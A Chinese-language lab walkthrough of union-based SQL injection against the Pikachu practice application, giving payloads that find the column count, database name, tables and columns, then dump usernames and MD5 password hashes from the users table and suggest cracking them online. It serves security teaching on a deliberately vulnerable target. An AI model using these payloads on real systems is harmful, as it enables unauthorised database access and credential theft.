目录
前言
- 一、了解SQL查询语句
- 二、解题思路
- 三、操作步骤
- 1.用order by获取主查询的字段数
- 2.获取数据库名
- 3.获取表名
- 4.获取列名
- 5.获取内容
- 总结
前言
前面我们利用语句:a' or 1=1# 获取了其他用户的邮箱信息,接下来我们用联合查询拿下数据库
一、了解SQL查询语句
数据库是通过许多表来存放数据的,一个个表相互嵌套构成了数据库,类似文件夹。如图:
SQL查询一般语法是:select 字段 from 表名 where...
例如我们查询student表中age=7的学生的名字和年级:
select name,grade from student where age=7
会得到:
再如查询小刚的年级: select grade from School.student where name='小刚’
联合查询语句:select 字段 from 表名 where ... union select 字段 from 表名 where ...
注意:联合查询的字段数和主字段数要一致。
SQL注入就是构造合法语句拼接到数据库SQL主语句中让其被执行。
二、解题思路
用order by获取主查询的字段数--->获取数据库名--->获取表名--->获取字段名--->查询字段内容
order by 字段1: 意思是根据字段1进行排序。如果没有这个字段会报错,根据这个可以知道主查询字段数,这样才能利用联合查询获取其他信息。(要用二分法多试几次)
获取数据库名用:database() 这个函数,查询版本用:version()
在mysql中,自带的information_schema这个数据库里面存放了大量的重要信息。information_shcema存放了tables表、columns表等。
tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。(schema的中文意思是模式,在MySQL里可以理解为数据库)
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。(column的中文意思是:列,专栏)
三、操作步骤
1.用order by获取主查询的字段数
输入:
a' order by 3 #
(意思是:根据第3列排序)结果如下:
说明该列不存在,那我们试输入:a' order by 2# 结果如下:
两次结果不一样,可以知道主查询有两个字段。且我们可以猜测主查询SQL语句是:
select id,email from 某个表 where id='变量’
2.获取数据库名
输入:
a' union select database(),version()#
结果如下:
可知:数据库名是pikachu ,版本是5.7.26
3.获取表名
输入:
a' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
(意思是:使用联合查询,从information_schema.tables表里查询table_schema和table_name这两个字段的内容,过滤条件是table_schema='pikachu')结果如下:
从结果我们可知:pikachu数据库里有 httpinfo、member、message、users、xssblind这五个表,且我们可以猜测管理员的账号密码可能放在users这个表里。
4.获取列名
输入:
a' union select table_name,column_name from information_schema.columns where table_name='users'#
结果如下:
从结果我们可以看到有两个重要字段(列):username、password,即账号和密码
5.获取内容
从前面的操作中我们知道:在users表中有username,password这两个列,接下来我们只用从表中查询列的内容就行了。
输入:
a' union select username,password from users#
结果如下:
得到了三个账号,而其密码作了加密处理。根据密文长度(有32位)可以推测是用了MD5加密算法进行了加密。我们可以直接百度搜索MD5解密,利用在线工具解密。以test的密文为例
总结
本实验中,我们获取账号密码数据的过程可以看作找名字的过程,我们是先获取数据库的名字,接着在这个数据库里查询都有什么表,再查询敏感表里有什么敏感字段,最后再查询字段里的内容。